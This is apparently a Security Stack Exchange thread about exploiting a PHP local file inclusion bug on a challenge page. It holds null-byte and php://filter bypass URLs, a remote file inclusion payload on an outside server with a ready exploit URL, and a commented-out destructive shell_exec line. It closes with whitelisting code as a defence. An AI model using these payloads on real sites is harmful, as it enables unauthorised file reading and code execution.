5

I'm trying to exploit a LFI bug. My link looks like this:

http://example.com/challenge/mypage.php?page=test

When I put /etc/passwd instead of test it shows me:

Warning: include() [function.include]: Failed opening '/etc/passwd.inc.php' for inclusion (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php')

As you can see, by default it concats .inc.php to the end of the file. To bypass it, I'm trying to add the null value like this:

http://example.com/challenge/mypage.php?page=/etc/passwd%00

I still get the error, but without .inc.php this time:

Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php')

I have even manually added test.inc.php%00 but again I get the same message:

Warning: include() [function.include]: Failed opening 'test.inc.php' for inclusion (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php')

I tried to check php://input and php://filter and data://text/plain;base64 but that didn't work either.

Do you have any idea for how to exploit this bug?

When I playing with case-sensitive wrappers it's working,

http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=test

the output is base64 encoded string like this :

PD8KZWNobygnVEVTVCBQQUdFICEhIScpOwo/Pg==

but when I try to read index.php the output is :

http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=index.php%00

Warning: include() [function.include]: Failed opening 'index.php' for inclusion

Freeman
  • 221
  • 1
  • 3
  • 6

1 Answers1

6

I think that it's not working because you're hitting a security check.

I ran strace to see what PHP was doing when including a file with a legal name, albeit nonexistent, and a file with an illegal name. It behaves differently:

lstat("/home/lserni/./legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/lserni/legal.inc.php", O_RDONLY) = -1 ENOENT ...
write(2, "PHP Warning:  include(): Failed "..., 154
PHP Warning:  include(): Failed opening 'legal.inc.php' for inclusion...

write(2, "PHP Warning:  include(): Failed "..., 148
PHP Warning:  include(): Failed opening 'illegal' for inclusion...

So from above you can see that the legal file name gets checked on the file system - twice - and an opening attempt is done even if PHP sees that the file doesn't exist (this rated 0.2 kWTF) and issues an error.

The illegal file name issues the same error, but without even trying to check whether the file might be there.

I'm quite confident that if I check in PHP sources I'll find some test that fakes a "this file isn't here" error, when actually PHP decided to not open the file no matter whether it was there or not.

Remote file inclusion

The "file inclusion" vulnerability means that you can send to the server something that will cause it to include() (and execute) a file of your choice. The file can be local (Local File Inclusion or LFI) or remote (RFI).

To exploit a RFI you need a remote file on a different domain; not the one you're testing, but another.

This remote file, not the local ones, must be under your control.

The content of the remote file must be such that the vulnerable server will include it; that is, it must be valid PHP.

The remote file, once included, will execute inside the vulnerable server, and so will have access to its local files (but no longer to the remote ones).

So if the remote file displays the instructions "include('index.php');" or die(file_get_contents('index.php'));, it will read not the index.php of the remote server, but that of the vulnerable server (which is what we want to do).

At the same time, the remote file will execute on the remote server, so we want it to execute some PHP code that will display another PHP code.

For example this is the content of http://www.serni.org/i.inc.php:

<?php
    // The outer code is just a print.

    print <<<INNER_CODE
<?php
    // This is a sample remote file inclusion vulnerability.
    // It will simply count how many files there are in the
    // vulnerable script's directory.

    \$files = count(glob('*.*'));
    print "This folder contains {\$files} files.";

    // Just sayin'.
    // shell_exec("FORMAT A: /Y /AUTOTEST");
INNER_CODE;

If you use http://www.serni.org/i.inc.php as a resource, and the RFI works, the vulnerable page will return the count of files in that directory.

G1mm3 th3 cod3z (TL;DR;DT)

http://example.com/challenge/mypage.php?page=http%3A%2F%2Fwww.serni.org%2Fi

How to defend

Obviously, sanitize your inputs. Or better, whitelist them, and only allow very simple combinations. And unless you need to include remote resources (which happens), set allow_url_fopen to false.

$allowed_resources = '#^[A-Za-z_0-9-]+$#';
$ok = false;
if (preg_match($allowed_resources, $resource)) {
    $actual_file = realpath("external_resources/{$resource}.php");
    // We could verify that actual_file matches _SERVER_ROOT/external...
    if (file_exists($actual_file)) {
        include $actual_file;
        $ok = true;
    }
}
if (!$ok) {
    // We don't want to send back to clients whatever they sent us; that way lie XS vulnerabilities.
    $resource = basename(strip_tags($resource));
    // Mess a little with people's heads.
    die("Warning: include() [function.include]: Failed opening 'C:\\Inetpub\\Resources\\{$resource}.aspx' for inclusion (include_path='C:\\;C:\\WINDOWS;C:\\Program Files\\Nginx;C:\\Python\\Tornado5\\modules')");
}
LSerni
  • 22,521
  • 4
  • 51
  • 60
  • "this rated 0.2 kWTF" lol - there is probably some obscure edge-case where an lstat would file where an open would not... I hope. – deed02392 Mar 16 '18 at 19:44
  • thank for your reply, but when a file exists in this system shows nothing or like test page just showing the content of that page , for example, in here I've a file config.inc.php, when I write just config it isn't show anything but it exists , in other case when the file does not exist the error is : Warning: include(test2.inc.php) [function.include]: failed to open stream: No such file or directory – Freeman Mar 16 '18 at 19:51
  • PHP "knows" what you are attempting, and intentionally gives you a **false** error message. The file might exist, or not - PHP **does not care**. You tried to include it with a trick, and that file is treated as if it did not exist. Yes, even if it exists. – LSerni Mar 16 '18 at 20:40
  • I finally read the `test.inc.php` file with playing case insensitive wrapper method like this : `pHp://FilTer/convert.base64-encode/resource=test` , but the problem still remains, I can just read `.inc.php` file, and I can not read `index.php` for example, any idea ? – Freeman Mar 16 '18 at 22:01
  • You have done nothing to address the underlying problem: you cannot add a separator which will cut away the ".inc.php" added by the server. You need to resort to a RFI, but I guess you already knew that. – LSerni Mar 16 '18 at 22:16
  • The ".inc.php" prevents you from using the local resources, but maybe it would be satisfactory to run a proof of concept using a *remote* file? i.e. you include `http://anotherserver.com/myfile.inc.php`, and in that file there is something like `print ' – LSerni Mar 16 '18 at 22:26
  • thank you so much, but unfortunately shows this : `wrapper is disabled in the server configuration by allow_url_fopen=0` this server also has `TimThumb version : 2.8.13` but webshot exploit won't work on it :( – Freeman Mar 17 '18 at 12:14
  • @Freeman my email is quite obvious - my userid, at gmail. I'm not renowned for my originality :-D – LSerni Mar 21 '18 at 16:28